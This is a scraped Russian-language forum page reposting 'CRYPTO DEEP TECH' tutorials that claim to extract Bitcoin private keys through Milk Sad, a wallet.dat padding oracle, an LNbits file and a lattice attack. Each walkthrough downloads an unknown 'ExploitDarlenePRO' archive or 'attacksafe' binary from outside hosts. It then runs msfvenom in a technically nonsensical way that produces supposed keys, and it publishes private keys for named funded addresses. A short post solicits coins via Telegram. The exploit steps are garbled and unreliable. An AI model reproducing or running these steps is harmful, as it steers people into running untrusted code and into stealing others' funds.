  15. CRYPTO DEEP TECH Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804 Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, который позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC) По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей. Исследователи дали кодовое название для данной уязвимости «Milk Sad» Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем https://milksad.info/disclosure.html#codename-milk-sad Техническое описание Техническое описание CVE-2023-39910 Cлабая энтропия в Cake Wallet Uint8List randomBytes(int length, {bool secure = false}) { assert(length > 0); final random = secure ? Random.secure() : Random(); final ret = Uint8List(length); for (var i = 0; i < length; i++) { ret[i] = random.nextInt(256); } return ret; } Random::Random() { uint64_t seed = FLAG_random_seed; if (seed == 0) { Dart_EntropySource callback = Dart::entropy_source_callback(); if (callback != nullptr) { if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) { // Callback failed. Reset the seed to 0. seed = 0; } } } if (seed == 0) { // We did not get a seed so far. As a fallback we do use the current time. seed = OS::GetCurrentTimeMicros(); } Initialize(seed); } Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя. Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ. Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности. Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек. Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме). Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 . https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet // Copyright © 2017-2022 Trust Wallet. // [...] void random_buffer(uint8_t* buf, size_t len) { std::mt19937 rng(std::random_device{}()); std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; }); return; } Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad Перейдем к практической части: (Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3 https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb Установим Ruby в Google Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Откроем обнаруженную уязвимость CVE-2023-39910 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910 Откроем код: https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78 libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit https://github.com/libbitcoin/libbitcoin-system.git Установим libbitcoin-system в Google Colab: !git clone https://github.com/libbitcoin/libbitcoin-system.git ls Откроем уязвимый файл: pseudo_random.cpp через утилиту cat cat libbitcoin-system/src/crypto/pseudo_random.cpp Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Команда запуска: !./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Откроем bitaddress и проверим: ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 BALANCE: $ 40886.76 Рассмотрим второй пример: №2 Рассмотрим второй пример извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Снова воспользуемся уязвимым файлом: pseudo_random.cpp Команда запуска: !./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC Приватный Ключ Найден! Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Результат: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Откроем bitaddress и проверим: ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe WIF: L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN HEX: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe BALANCE: $ 19886.91 References: [1] Mersenne Twister – A Pseudo Random Number Generator and its Variants (Archana Jagannatam) [2] RFC 8682 TinyMT32 Pseudorandom Number Generator [PRNG] (M. Saito Hiroshima University M. Matsumoto Hiroshima University V. Roca, Ed. INRIA E. Baccelli) [3] Introduction to Mersenne Twister Pseudorandom number generator Qiao Zhou [June 30, 2016] [4] High-Performance Pseudo-Random Number Generation on Graphics Processing Units (Nimalan Nandapalan , Richard P. Brent , Lawrence M. Murray , and Alistair Rendell) [5] The Mersenne Twister Output Stream Postprocessing (Yurii Shcherbyna , Nadiia Kazakova , Oleksii Fraze-Frazenko) [6] Cellular Automaton–Based Emulation of the Mersenne Twister (Kamalika Bhattacharjee, Nitin More, Shobhit Kumar Singh, Nikhil Verma) [7] Generating Efficient and High-Quality Pseudo-Random Behavior on Automata Processors (Jack Wadden, Nathan Brunelle, Ke Wang, Mohamed El-Hadedy, Gabriel Robins, Mircea Stan and Kevin Skadron) Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804 Источник: https://cryptodeep.ru/milk-sad-vulnerability-in-libbitcoin-explorer Криптоанализ
  16. Приветствую всех, ищу людей у кого есть готовый coin, токен или монеты, которые не востребованные или кто не знает, что с ними делать, готов на сотрудничество, есть предложение tg: @der8i
  17. CRYPTO DEEP TECH В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat Технические подробности данной атаки известны: https://en.wikipedia.org/wiki/Padding_oracle_attack Процесс Padding Oracle Attack на Wallet.dat Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате. Capture The Flag (CTF) Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму: 44502.42 долларов США // БИТКОИН: 1.17461256 BTC https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Перейдем по ссылке на releases Bitcoin Core version 22.1 https://github.com/bitcoin/bitcoin/releases Index of /bin/bitcoin-core-22.1/ ../ test.rc1/ 08-Nov-2022 18:08 - test.rc2/ 28-Nov-2022 09:39 - SHA256SUMS 14-Dec-2022 17:59 2353 SHA256SUMS.asc 14-Dec-2022 17:59 10714 SHA256SUMS.ots 14-Dec-2022 17:59 538 bitcoin-22.1-aarch64-linux-gnu.tar.gz 14-Dec-2022 17:59 34264786 bitcoin-22.1-arm-linux-gnueabihf.tar.gz 14-Dec-2022 18:00 30424198 bitcoin-22.1-osx-signed.dmg 14-Dec-2022 18:00 14838454 bitcoin-22.1-osx64.tar.gz 14-Dec-2022 18:00 27930578 bitcoin-22.1-powerpc64-linux-gnu.tar.gz 14-Dec-2022 18:00 39999102 bitcoin-22.1-powerpc64le-linux-gnu.tar.gz 14-Dec-2022 18:00 38867643 bitcoin-22.1-riscv64-linux-gnu.tar.gz 14-Dec-2022 18:01 34114511 bitcoin-22.1-win64-setup.exe 14-Dec-2022 18:01 18771672 bitcoin-22.1-win64.zip 14-Dec-2022 18:01 34263968 bitcoin-22.1-x86_64-linux-gnu.tar.gz 14-Dec-2022 18:01 35964880 bitcoin-22.1.tar.gz 14-Dec-2022 18:01 8122372 bitcoin-22.1.torrent 14-Dec-2022 18:01 49857 Установить Bitcoin Core version 22.1 ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core Нажимаем клавиши: Ctrl + Q Проверим через команду getaddressinfo Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b getaddressinfo "address" Return information about the given bitcoin address. Some of the information will only be present if the address is in the active wallet. Запустим команду: getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: { "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b", "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac", "ismine": true, "solvable": true, "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel", "iswatchonly": false, "isscript": false, "iswitness": false, "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f", "iscompressed": true, "ischange": false, "timestamp": 1, "labels": [ "" ] } Запустим команду dumpprivkey для получения приватного ключа к Биткоин Кошельку: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b dumpprivkey "address" Reveals the private key corresponding to 'address'. Then the importprivkey can be used with this output Запустим команду: dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) passphrase ?!?!? passphrase ?!?!? passphrase ?!?!? Запустим Padding Oracle Attack на Wallet.dat и расшифруем пароль в бинарный формат, для этого нам понадобится установить репозитории Bitcoin Core integration/staging tree для этого вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt https://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat Padding_Oracle_Attack_on_Wallet_dat.ipynb Установим Ruby в Google Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Установим Bitcoin Core integration/staging tree в Google Colab: !git clone https://github.com/bitcoin/bitcoin.git ls Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat cd bitcoin/src/crypto/ ls Откроем файл: aes.cpp через утилиту cat cat aes.cpp Для проведения атаки загрузим файл: wallet.dat в каталог: bitcoin/src/crypto/ !wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat ls Перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Команда запуска: !./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat Результат: 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом. Команда: import hashlib Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101" f = open("walletpassphrase.txt", 'w') f.write("walletpassphrase " + Binary + " 60" + "\n") f.write("" + "\n") f.close() Откроем файл: walletpassphrase.txt ls cat walletpassphrase.txt Результат: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 Пароль для доступа к приватному ключу найден! Команды: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Приватный Ключ Получен! pip3 install bitcoin-utils Запустим код для проверки соответствие Биткоин Адреса: Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f -------------------------------------- The message to sign: CryptoDeepTech The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q= The signature is valid! Откроем bitaddress и проверим: ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz HEX: 3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330 https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b BALANCE: $ 44502.42 References: [1] Practical Padding Oracle Attacks (Juliano Rizzo Thai Duong) [2010] [2] Efficient Padding Oracle Attacks on Cryptographic Hardware (Romain Bardou, Riccardo Focardi, Yusuke Kawamoto, Lorenzo Simionato, Graham Steel, Joe-Kai Tsay) [3] Security Flaws Induced by CBC Padding Applications to SSL, IPSEC, WTLS… (Serge Vaudenay) [4] Padding Oracle Attack on PKCS#1 v1.5: Can Non-standard Implementation Act as a Shelter (Si Gao, Hua Chen, and Limin Fan) [5] Attacks and Defenses (Dr. Falko Strenzke) [2020] [6] CBC padding oracle attacks [2023] [7] Fun with Padding Oracles (Justin Clarke) [OWASP London Chapter] [8] Practical Padding Oracle Attacks on RSA (Riccardo Focardi) [9] The Padding Oracle Attack (Fionn Fitzmaurice) [2018] [10] Exploiting CBC Padding Oracles Eli Sohl [2021] [11] Partitioning Oracle Attacks (Julia Len, Paul Grubbs, Thomas Ristenpart) [Cornell Tech] [12] Padding and CBC Mode (David Wagner and Bruce Schneider) [1997] [13] Padding Oracle Attacks (methodology) [14] Padding Oracle Attack (Introduction Packet Encryption Mode CTF Events) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/0aCfT-kCRlw Источник: https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat Криптоанализ
  18. !git clone https://github.com/lnbits/lnbits.git ls Откроем уязвимый файл: quasar.umd.js через утилиту cat cat lnbits/lnbits/static/vendor/quasar.umd.js Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Команда запуска: !./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js Результат: 111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Откроем bitaddress и проверим: ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F BALANCE: $ 11032.77 References: [1] A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network (Ferenc Beres, Istvan A. Seres, Andras A. Benczur) [2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar) [3] Short Paper: A Centrality Analysis of the Lightning Network (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid) [4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar) [5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan) [6] The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain (George Kaloudis, Teddy Oosterbaan) [7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja) [8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja) [9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/ZpflbzENAAw Источник: https://cryptodeep.ru/bitcoin-lightning-wallet-vulnerability Криптоанализ
  19. CRYPTO DEEP TECH В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA. Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits. За теоретическую основу мы будем брать материалы: “Lattice Attack on Bitcoin” https://attacksafe.ru/lattice-attack-on-bitcoin 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z 6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8 RawTX "hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................ Загрузим файл: LATTICE_ATTACK_249bits.ipynb Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: lattice_attack Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы 